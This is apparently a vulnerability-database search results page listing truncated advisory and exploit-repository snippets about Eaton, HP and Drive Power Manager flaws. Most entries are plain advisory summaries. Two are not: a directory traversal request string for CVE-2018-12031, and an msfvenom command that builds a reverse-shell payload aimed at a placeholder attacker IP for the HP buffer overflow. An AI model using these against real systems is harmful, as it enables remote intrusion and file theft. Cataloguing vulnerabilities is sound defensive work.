292 matches found
Eaton Intelligent Power Manager 1.6 - Directory Traversal
Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution. id: CVE-2018-12031 info: name: Eaton Intelligent Power Manager 1.6 - Directory Traversal author: daffainfo...
Eaton-Intelligent-Power-Manager-Local-File-Inclusion
Eaton-Intelligent-Power-Manager-Local-File-Inclusion Eaton Intelligent Power Manager v1.6 のローカルファイルインクルージョンにより、攻撃者がファイルをインクルードでき、機密情報の漏えい、サービス拒否、コード実行につながる可能性があります。 CVE-2018-12031 脆弱性を悪用するには、'https://HOST/server/nodeupgradesrv.js?action=downloadFirmware&firmware=/../../../../../../../../../../'...
CVE-2009-3999
CVE-2009-3999 HP Power Manager 4.2 ビルド7 エクスプロイト https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 を参考に作成 ステップ1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...
CVE-2009-3999-HP-Power-Manager-4.2-Build-7-Buffer-Overflow
OSCPの準備の一環として、私はCVE-2009-3999（HP Power Manager 4.2 Build 7 バッファオーバーフローエクスプロイト）に出会いました。 この最新のスクリプトは、文字列とバイトの処理に関するPython 3互換性の問題を解決するために更新されており、ペイロードが生のバイナリとして送信されることでメモリ破損を防ぎます。...
Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Hp Power_Manager
As part of my OSCP preparation I came across CVE-2009-3999 HP P...
CVE-2018-25287
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
EUVD-2018-21807
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
CVE-2018-25287 Drive Power Manager 1.10 Denial of Service via Name Field
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
CVE-2018-25287
CVE-2018-25287 involves Drive Power Manager 1.10 with a local-buffer overflow in the Name field. The description states that an excessively long string can crash the application; specifically, a 6000-byte payload pasted into Name and registered can trigger a denial-of-service condition. The avail...
CVE-2018-25287 Drive Power Manager 1.10 Denial of Service via Name Field
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
PT-2026-35257
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
HD Tune Drive Power Manager 安全漏洞
HD Tune Drive Power Manager is a disk control tool developed by HD Tune Corporation, designed to manage hard drive power status and energy-saving strategies. Version 1.10 of HD Tune Drive Power Manager contains a security vulnerability. This vulnerability stems from a buffer overflow issue when...
CVE2009-2585_HP_Power_Manager_BoF
CVE2009-2585HPPowerManagerBoF This repository contains a P...
HP-Power-Manager-exploit
No d...
Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Hp Power_Manager
CVE-2009-3999 HP Power Manager 4.2 Build 7 exploit inspire...
CVE-2018-12031
Local file inclusion in Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via server/nodeupgradesrv.js directory traversal with the firmware parameter in a downloadFirmware action...
EUVD-2021-10376
Malware in sbrugna...
EUVD-2020-27798
Malware in sbrugna...